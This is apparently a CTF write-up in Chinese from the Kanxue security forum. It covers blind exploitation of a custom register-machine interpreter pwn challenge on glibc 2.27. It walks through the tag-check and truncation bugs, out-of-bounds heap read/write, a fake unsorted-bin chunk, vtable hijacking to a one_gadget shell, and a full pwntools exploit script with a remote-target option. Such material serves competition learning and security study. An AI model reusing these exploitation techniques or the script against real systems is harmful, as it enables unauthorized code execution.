首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
0
[原创]第十题:卯时·曦光初现2026-KCTF10-PWN
发表于: 2026-8-23 15:34
125
[原创]第十题:卯时·曦光初现2026-KCTF10-PWN
Sinner_Dusk
2026-8-23 15:34
125
# kctf pwn Writeup —— 无输出原语的解释器盲利用(glibc-2.27) > **题目**:`pwn`(自定义寄存器机解释器) > **环境**:Ubuntu 18.04 / glibc 2.27-3ubuntu1.6(题目附带 `libc-2.27.so`,BuildID `f7307432a8b162377e77a182b6cc2e53`) --- ## 0. 总结(TL;DR) 程序是一个 C++ 编写的"寄存器机解释器":256 个 64 位寄存器 + 64KB 堆上 arena 存列表,数值带 `0x1337/0xBEEF` 双 tag 并与启动时从 `/dev/urandom` 读入的随机 cookie 异或存储。**程序没有任何数值输出原语**(只有 `invalid syntax!` / `runtime error!` 两种提示),逼迫攻击者做"盲利用"。 漏洞组合拳: 1. 数字字面量被截断为 48 位,但 **BinOp 四则/位运算结果是完整 64 位** → 可构造带 `0xBEEF` tag 的值; 2. `SetField`(`$A[i]=$B`)写元素时**只检查 `0x1337` tag,不检查 `0xBEEF`** → 可在 arena 植入伪造节点头 `BEEF|count`; 3. 走链函数 `sub_1EDA` 按伪造 count 逐槽前跳 → **arena 之后的任意相对越界读/写**,且读自动异或 cookie 解码、写自动编码。 于是"读 + 写 + 寄存器运算"三者闭环,可以**全程在寄存器里盲算**出 cookie、堆地址、libc 基址,最终: ``` 伪造 chunk size=0x421 → free 落入 unsorted bin → 读 fd 盲算 libc → arena 里伪造虚表写 one_gadget → 触发行 eval 期间覆写"当前 SetField AST 节点"的虚表指针 → main 在 eval 返回后调用 [vtable+16] → one_gadget → execve("/bin/sh") ``` --- ## 1. 初步分析 ```text pwn: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped 保护: PIE + Full RELRO (BIND_NOW) + NX + Canary 依赖: libstdc++.so.6, libgcc_s.so.1, libc.so.6 导入符号亮点: operator new[]/delete[], strtoul, memcpy, ifstream 系列(读 /dev/urandom), istream::read/getline, __cxa_atexit ``` 用 IDA(MCP 接口 + capstone 交叉验证)定位: | 地址 | 作用 | | ------------------- | ------------------------------------------------------ | | `0x2d09` | `main` | | `0x2b14` | 语句解析总入口(`$数字 + 操作符` 分发) | | `0x263c` / `0x30de` | BinOp 解析 / 求值 | | `0x2abc` | AssignLit 解析(`$A=<数或列表>`) | | `0x22d7` / `0x36e6` | GetField(`$A=$B[i][j]`)解析 / 求值 | | `0x1f91` / `0x3886` | SetField(`$A[i]=$B`)解析 / 求值 | | `0x283e` | 表达式(数字/嵌套列表字面量)解析 | | `0x1eda` | **走链函数**(sub_1EDA,核心) | | `0x2f50` | 全局构造器:`new[](0x10000)` 做 arena + 初始化 cookie | | `0x2fb6` | Number 物化(**value & 0xFFFFFFFFFFFF,48 位截断!**) | | `0x31dc` / `0x3036` | Object 物化(bump 分配)/ 序列化 | RTTI 类型名(.data.rel.ro 重建虚表得到):`interpreter::{Ast, Literal, Number, Object, AssignLit, GetField, SetField, BinOp}`。 ## 2. 程序模型 ### 2.1 运行时状态 ```text ctx[256] @ PIE+0x2062A0 64 位寄存器 $0..$255 arena_state @ PIE+0x206AA0 {begin, bump} —— 64KB 堆上 bump arena cookie @ PIE+0x206AB0 全局构造器从 /dev/urandom 读 8 字子(每次运行随机) ``` ### 2.2 值的 tag 表示 ```text 寄存器值: 普通 64 位值 —— 无 0x1337 tag 列表引用 —— 0x1337_0000_0000_0000 | ptr48 arena 内节点(全部与 cookie 异或存储): 节点头 —— cookie ^ (0xBEEF_0000_0000_0000 | count48) 元素 —— cookie ^ 值 嵌套列表头 —— 内联,同样是 BEEF|count ``` 嵌套列表是**内联展开**的:`[1,[2,3],4]` 在内存里就是 `[BEEF|3][1][BEEF|2][2][3][4]`。走链时遇到 BEEF 槽会递归跳过其 count 个槽(把整个子列表当作一个元素跳过)。 ### 2.3 语法(逆向得到) ```text $A=<数字> # A = 数字 & 0xFFFFFFFFFFFF ← 48 位截断! $A=[1,2,[3,4]] # 列表物化到 arena,A = 0x1337|ptr $A=$B # 原样 64 位拷贝 $A=$B[i1][i2] # GetField:走链读,解码后放入 A $A[i1][i2]=$B # SetField:走链写 cookie^ctx[B](B 必须无 0x1337 tag) $A <op> $B # BinOp:ctx[A] = ctx[A] op ctx[B],op ∈ + - * / % ^ | & # 两侧都必须无 0x1337 tag;除 0 直接 SIGFPE(可当 oracle) ``` 注意:寄存器名和索引**只能是数字**(`$a` 非法);索引值经 `strtoul` 是**完整 64 位**;语句必须**整行精确消耗**(尾部多余字符 → `invalid syntax!`)。 ### 2.4 走链函数 sub_1EDA(伪代码) ```c // node 指向一个节点头,返回第 idx 个元素槽的地址 qword* sub_1EDA(qword* node, u64 idx) { hdr = *node ^ cookie; if ((hdr & 0xFFFF000000000000) != 0xBEEF<<48) return 0; // tag 检查 if ((hdr & 0xFFFFFFFFFFFF) < idx) return 0; // 边界检查(idx<=count) p = node + 1; for (i = 0; i < idx; i++) { v = *p ^ cookie; if ((v & 0xFFFF000000000000) == 0xBEEF<<48) p = sub_1EDA(p, v & 0xFFFFFFFFFFFF); // 遇到嵌套头 → 递归跳过整个子列表 else p += 8; } return p; } ``` GetField/SetField 的求值都是:先检查首层 `idx < count`,再 `sub_1EDA(node, idx)` 走到目标槽,最后读(要求解码后非 BEEF tag)或写(`*p = cookie ^ ctx[B]`)。 ## 3. 漏洞分析 ### 3.1 原语盘点 | 语句 | 原语 | | ------------- | ------------------------------------------------------- | | BinOp | 任意 64 位寄存器运算(含 tag 构造) | | GetField 走链 | 相对 arena 的越界**读**(自动 XOR cookie 解码进寄存器) | | SetField 走链 | 相对 arena 的越界**写**(自动 XOR cookie 编码) | | 除零 | 崩溃 oracle(调试期验证用) | ### 3.2 三个漏洞点 **① 48 位截断可绕过(sub_2FB6 vs BinOp)** `$2=13758215386640154627`(= `0xBEEF000000000003`)会被截成 `0x3`——数字字面量进不了高 16 位。但 BinOp 是 64 位运算: ```text $1=17592186044416 # 2^44 $2=782064 # 0xBEEF0 $2*$1 # ctx2 = 0xBEEF000000000000 ✓ ``` **② SetField 源值检查缺失 BEEF(sub_3886)** ```asm 38d9 cmp [0x1337000000000000 与 ctx[B] 的 tag] ; 只挡 0x1337 3a07 xor r12, rcx ; r12 = cookie ^ ctx[B] 3a0a mov [rdi], r12 ; 写入目标槽 ``` 即可以写入解码后带 `0xBEEF` tag 的值 → **伪造节点头**。 **③ 伪造头 + 走链 = 任意相对读写** 在列表元素上植入 `BEEF|count` 后,`$r=$L[1]` / `$L[1]=$r` 的走链会从该元素 +8 处起跳 count 个槽——count 最大 2^48,可到达 arena 之后的**任意堆地址**。 **关键观察(可靠性基础)**:走链逐槽读取时只对解码后 tag==BEEF 的槽分叉。用户态指针/堆元数据的高 16 位全为 0,解码后 tag = cookie 高 16 位,整轮运行"要么全部分叉要么全不分叉"(1/65536 的运气,失败重连即可);arena 零区同理。因此**长走链是确定性的**。 ### 3.3 为什么必须"盲利用" 程序唯一的输出是错误提示。寄存器值既不能打印也不能当跳转条件。所以所有泄漏都必须**读进寄存器后用 BinOp 盲算**,再把结果**通过 SetField 写回堆**生效——泄漏的"可见性"只服务于攻击者编写 EXP 时的推理,运行时数据流全程在寄存器里闭环。 ## 4. 利用设计 ### 4.1 被否掉的方案(简述) - **tcache 投毒 → `__free_hook`**:走链写只能落在堆内(walk 到 libc 要跨越未映射区,逐槽读会 SIGSEGV);而触发写入的分配(string/vector/Number)内容都来自**行文本**,无法携带运行时算出的地址 → 死路。 - **fastbin attack / House of Force**:同理受限于"行文本无法携带寄存器值"以及 cookie 未知的原始写入。 - **最终选择:劫持 C++ 虚表**。AST 节点在堆上(走链可达),虚表指针可以指向 arena 里的**假虚表**(内容由 SetField 写、地址由寄存器盲算),虚表项再填 libc one_gadget——完美绕开"文本无法携带地址"的限制。 ### 4.2 时间窗口 `main` 对每条语句:`parse(分配 AST 节点/索引 vector)→ call [vtable+0](eval)→ call [vtable+16](析构)`。 **SetField 语句的 eval 自己就是那个走链写**——也就是说,触发行可以在自己的 eval 里覆写**自己的 SetField 节点**的虚表指针,eval 返回后 main 立刻调用 `[假虚表+16]`。窗口天然存在,无需二次触发。 ### 4.3 完整链条 ```text 阶段1 $20=[0,0] ×8 # 8 个独立 2 元素列表(每个操作一个,避免走链互相分叉) 阶段2 cookie # 走链落 arena 零区 → 解码值恰为 cookie → $4 阶段3 arena 地址 # 读某空闲 0x20 堆块的 tcache key(=heapbase+0x10) # → $5 = key + (arena-key) = arena 绝对地址 阶段4 伪造 unsorted free # 预写 victim+0x428=0x21(next size)、victim+0x448=0x21(inuse 位) # 走链写 victim+8 = 0x421(伪造 chunk size,>0x408 绕过 tcache) # 本行结束时该行自己的索引 vector 缓冲区被 free → 进入 unsorted bin # → victim+0x10 被写入 fd = main_arena+X(libc 指针) 阶段5 libc 基址 # 走链读回 fd → $8 = fd ^ cookie;$8^$4 → fd;$8-(fd-libc_base) 阶段6 假虚表 # $5+0x8000 = 假虚表地址;走链把 one_gadget 写到 arena+0x8010(=假虚表+0x10) 阶段7 触发 # 触发行 eval 走链覆写自身 SetField 节点+0 = 假虚表 # main: call [假虚表+16] = one_gadget(0x4f309) # execve("/bin/sh", rsp+0x40, environ) ``` one_gadget `0x4f309`(本题 libc 实测,非通用值): ```asm 0x4f309: lea rdi, [rip+...] ; "/bin/sh" lea rsi, [rsp+0x40] ; argv —— 要求 *(rsp+0x40) == NULL mov rdx, [rax] ; envp call execve ``` `[rsp+0x40]` 实测落在 getline 栈缓冲区 `v16+24`(注意:不是想当然的 +0x20,详见 6.6),所以触发行做成"24 字节合法语法 + 40 个 NUL"——语法部分用前导零补齐(`$0000000000000027[01]=$0005`),NUL 紧跟其后(getline 会读入,strlen 截断保证语法解析正确)。 ## 5. 堆布局与校准 利用的可靠性完全取决于**走链 count 常数**与实际堆布局的逐槽对齐。关键布局(arena 相对偏移,gdb 关闭 ASLR 与裸跑均一致): ```text arena chunk 0x10010(new[](0x10000)) +0x10000 0x230 chunk(/dev/urandom ifstream 的 filebuf 缓冲区残骸,含随机数据) +0x10230 (gdb 下 0x50 / 裸跑 0x30 —— 差异源头,见 6.4) +0x10260 victim(size 写入行弹出的 0x20 tcache 头) +0x102e0 触发行 SetField 节点(0x40 chunk,[vptr][src=5][dst=27]) victim+0x420/0x428/0x448 伪 chunk 的 next 区(top 零区,可预写) arena+0x8000/0x8010 假虚表 / one_gadget 槽 ``` 最终常数: ```text c_key1=0x3f9 key2arena=0x11e60 c_key2=0x2042 c_pre1=0x20c3 c_pre2=0x20be c_size=0x2039 c_leak=0x2039 c_og=0xfec c_trig=0x2047(=8263,含实测+2修正) ma2libc=0x3ebca0 og_off=0x4f309 victim=0x10260 node=0x102e0 ``` 校准方法(`work/` 目录可复现): 1. `driver.py`:从常数生成命令流; 2. `walksim.py`:**精确复刻 sub_1EDA 的递归走链模拟器**,在内存快照上搜出"落在目标槽的 count"; 3. `coredump.py` + `corecal2.py`:裸跑 + SIGFPE/SIGSEGV core → 从 core 提取 arena/cookie/堆内存 → 逐操作计算常数。 ## 6. 踩坑实录(按时间线) 这些坑每一个都导致"看起来该成功但就是不行",记录如下: ### 6.1 列表 count 与索引差一 `$0=[0]*31` 时 `$0[31]` 直接 `runtime error!`——首层检查是 `idx < count`。**改成 32 个元素**。 ### 6.2 2^48 装不进去 `$1=281474976710656`(2^48)本身就被 48 位掩码截成 0,`$2*$1` 恒为 0。改为 `0xBEEF0 * 2^44`。 ### 6.3 相邻 fake 的递归嵌套 单列表 + 降序植入(elem30、elem29…)时,后面操作的走链会穿过前面植入的 fake,形成**递归套递归**,第一版模拟器只近似到两层 → 常数算错 → SIGSEGV。两个修复: - 结构上:**每个操作用独立的 2 元素列表**,plant 用 `$L[0]`(index 0 零扫描),use 用 `$L[1]`; - 模拟器上:walksim 改成与 sub_1EDA 完全一致的递归。 ### 6.4 gdb 与裸跑堆布局不一致 同一命令流:gdb 下 arena+0x10230 的 chunk 是 0x50,裸跑是 0x30(与 env 无关,是 gdb 环境对启动期分配的影响)。gdb 校准的常数在裸跑全部偏移。**解法:放弃 gdb 快照,全部用裸跑 + core dump 校准**(`ulimit -c unlimited` + 除零探针制造崩溃点)。 ### 6.5 探针行污染被测状态 "在某行后面追加崩溃探针再看 core"的方法有系统性偏差:**探针自己的分配/释放会改变堆上 tcache fd/key 的分布**(keytarget 实测偏移 2 个槽)。**解法:SEGV-at-eval 校准**——把"当前正在校准的操作"的 count 设成巨大值,让该操作的 eval 自己走链冲出堆段 SIGSEGV,core 即精确的 eval 时刻状态。副作用是该方法无法覆盖"需要在行尾观察"的场景(如 unsorted 写入后的 fd),这些仍用探针 core 但要意识到偏差来源。 ### 6.6 one_gadget 约束地址实测 最初按 `v16 = [rsp+0x20]` 推断 `[rsp+0x40] = v16+0x20`,NUL 填充从 32 字节后开始 → `execve` 返回 EFAULT(strace 可见 `execve("/bin/sh", [0x353030...], NULL) = -1 EFAULT`,argv 指向了 `=$000005` 的行内文本)。实测 `[rsp+0x40] = v16+24` → 语法压缩到 24 字节、NUL 从 24 开始,一次通过。 ### 6.7 触发行落点差 2 即便全部用 SEGV-at-eval 校准,触发行写入仍差 2 个槽(写入成功、eval 返回 1,但虚表没变)。由于没有输出,用**二分探针族**定位:对 `c_trig+k (k∈[-8,8])` 各跑一次"`$97=$27[1]` 读回落点 → 与 `0x41^cookie`(node-8 的 size 字段特征值)异或 → 除零",`k=+1` 崩溃 → 真实落点比校准值少 2 槽 → `c_trig += 2`。 > 教训:模拟器与真实执行之间存在微小系统差(本题为探针行的 stoul 临时串分配数量差异:SetField 形式的 16 位数字临时串只有 1 个,等价 GetField 探针形式有 2 个)。**最终以二分探针的实测为准**。 ## 7. 最终 EXP `exp.py`(完整版见同目录,含注释): ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ kctf pwn exp — 自定义寄存器机解释器 (libstdc++, glibc-2.27) 漏洞链 (全程盲利用, 无需任何输出泄露): 1. BinOp 运算可构造任意 64 位寄存器值 (数字字面量被截断为 48 位, 但 0xBEEF0 * 2^44 = 0xBEEF000000000000 可绕过) 2. SetField 向列表元素写值时只检查 0x1337 tag, 不检查 0xBEEF tag -> 可在 arena 中植入伪造节点头 BEEF|count 3. sub_1EDA 走链按伪造 count 跳槽 -> 相对 arena 的任意越界读/写 (读自动 XOR cookie 解码, 写自动编码 -> 读+写+寄存器运算可盲算一切) 4. 读 arena 未触零区泄漏 cookie; 读 tcache key 盲算 arena 绝对地址 5. 改写堆上 victim chunk size=0x421 (预写 next size/inuse 位) -> 该行结束时 free() 将其放入 unsorted bin -> fd = main_arena+X -> 走链读回, 盲算 libc 基址 6. 在 arena+0x8010 写 one_gadget(0x4f309: execve("/bin/sh", rsp+0x40, environ)) 7. 触发行 eval 期间用走链覆写 *当前* SetField AST 节点的虚表指针 -> eval 返回后 main 调用 [vtable+16] 即跳入 one_gadget -> 约束 [rsp+0x40]==NULL 由触发行内的 NUL 填充满足 -> getshell 用法: 本地: python3 exp.py 远程: python3 exp.py <host> <port> """ import sys, os from pwn import * context.log_level = "info" # ---------------- 校准常数 (固定堆布局, 由本地 gdb/core 校准) ---------------- CONSTS = { "c_key1": 0x3f9, # 走链: list0 -> arena+0x2048 (零区, 读 cookie) "key2arena":0x11e60, # arena - tcache_key "c_key2": 0x2042, # 走链: list1 -> 堆上 tcache key 槽 (读 arena 基址) "c_pre1": 0x20c3, # 走链: list2 -> victim+0x448 (写 0x21, inuse 位) "c_pre2": 0x20be, # 走链: list3 -> victim+0x428 (写 0x21, next size) "c_size": 0x2039, # 走链: list4 -> victim+8 (写 0x421 伪造 chunk size) "c_leak": 0x2039, # 走链: list5 -> victim+0x10 (读 unsorted fd -> libc) "c_og": 0xfec, # 走链: list6 -> arena+0x8010 (写 one_gadget) "c_trig": 0x2047, # 走链: list7 -> SetField 节点+0 (覆写虚表指针) "ma2libc": 0x3ebca0, # unsorted fd - libc_base "og_off": 0x4f309, # one_gadget: execve("/bin/sh", rsp+0x40, environ) } def _pad(reg, width): s = str(reg).encode() assert len(s) <= width return b"0" * (width - len(s)) + s def build_lines(consts): def g(k): return str(consts[k]).encode() L = [] A = L.append # 8 个 2 元素列表 (每操作一个, 避免走链互相干扰) for k in range(8): A(b"$%d=[0,0]" % (20 + k)) A(b"$1=17592186044416") # 2^44 A(b"$2=782064") # 0xBEEF0 A(b"$2*$1") # $2 = 0xBEEF000000000000 # --- 阶段1: 读 cookie 到 $4 --- A(b"$3=" + g("c_key1")); A(b"$2+$3"); A(b"$20[0]=$2"); A(b"$4=$20[1]"); A(b"$2-$3") # --- 阶段2: 读 tcache key -> 盲算 arena 绝对地址到 $5 --- A(b"$3=" + g("c_key2")); A(b"$2+$3"); A(b"$21[0]=$2"); A(b"$5=$21[1]"); A(b"$2-$3") A(b"$5^$4"); A(b"$9=" + g("key2arena")); A(b"$5+$9") # --- 阶段3: 预写 victim+0x448 = 0x21 (next-next inuse 位) --- A(b"$3=" + g("c_pre1")); A(b"$2+$3"); A(b"$22[0]=$2"); A(b"$7=33"); A(b"$7^$4"); A(b"$22[1]=$7"); A(b"$2-$3") # --- 阶段4: 预写 victim+0x428 = 0x21 (next chunk size) --- A(b"$3=" + g("c_pre2")); A(b"$2+$3"); A(b"$23[0]=$2"); A(b"$23[1]=$7"); A(b"$2-$3") # --- 阶段5: 改 victim size=0x421, 本行结束时被 free 进 unsorted bin --- A(b"$3=" + g("c_size")); A(b"$2+$3"); A(b"$24[0]=$2"); A(b"$6=1057"); A(b"$6^$4"); A(b"$24[1]=$6"); A(b"$2-$3") # --- 阶段6: 读 unsorted fd -> libc 基址 -> one_gadget 地址 --- A(b"$3=" + g("c_leak")); A(b"$2+$3"); A(b"$25[0]=$2"); A(b"$8=$25[1]"); A(b"$2-$3") A(b"$8^$4"); A(b"$9=" + g("ma2libc")); A(b"$8-$9"); A(b"$10=" + g("og_off")); A(b"$8+$10") # --- 阶段7: 假虚表 arena+0x8000, [假虚表+0x10] = one_gadget --- A(b"$3=" + g("c_og")); A(b"$2+$3"); A(b"$26[0]=$2"); A(b"$8^$4"); A(b"$26[1]=$8"); A(b"$2-$3") # --- 阶段8: 触发行: 覆写当前 SetField 节点虚表指针 = arena+0x8000 --- A(b"$3=" + g("c_trig")); A(b"$2+$3"); A(b"$27[0]=$2"); A(b"$9=32768"); A(b"$5+$9"); A(b"$5^$4") trig = b"$" + _pad(27, 13) + b"[" + _pad(1, 2) + b"]=$" + _pad(5, 4) assert len(trig) == 24 A(trig + b"\x00" * 40) # NUL 填充满足 one_gadget 的 [rsp+0x40]==NULL return L def main(): if len(sys.argv) >= 3: io = remote(sys.argv[1], int(sys.argv[2])) else: io = process("./pwn_patched") payload = b"\n".join(build_lines(CONSTS)) + b"\n" io.send(payload) log.success("payload sent (%d commands) - waiting for shell" % payload.count(b"\n")) io.interactive() if __name__ == "__main__": main() # 本地: python3 exp.py 远程: python3 exp.py <host> <port> ``` ## 8. 一点感想 这题的精髓在于"**没有输出**"这个设计:它把传统的 leak → ROP 流程变成了一场纯数据流游戏——所有泄漏都必须以"读进寄存器 → 盲算 → 写回生效"的方式闭环。相应地,调试手段也被逼成了 oracle 式(除零崩溃探针、二分落点探测、SEGV-at-eval core),最终 30/30 的确定性来自于对"走链只在高 16 位分叉"这一性质的理解。
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Sinner_Dusk
3
发帖
15
回帖
27
RANK
关注
私信
他的文章
[原创]第十题:卯时·曦光初现2026-KCTF10-PWN
125
KCTF2024第二题WP
1843
[原创]第十届极客大赛WP-MISC、RE-2019.11.12
12348
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部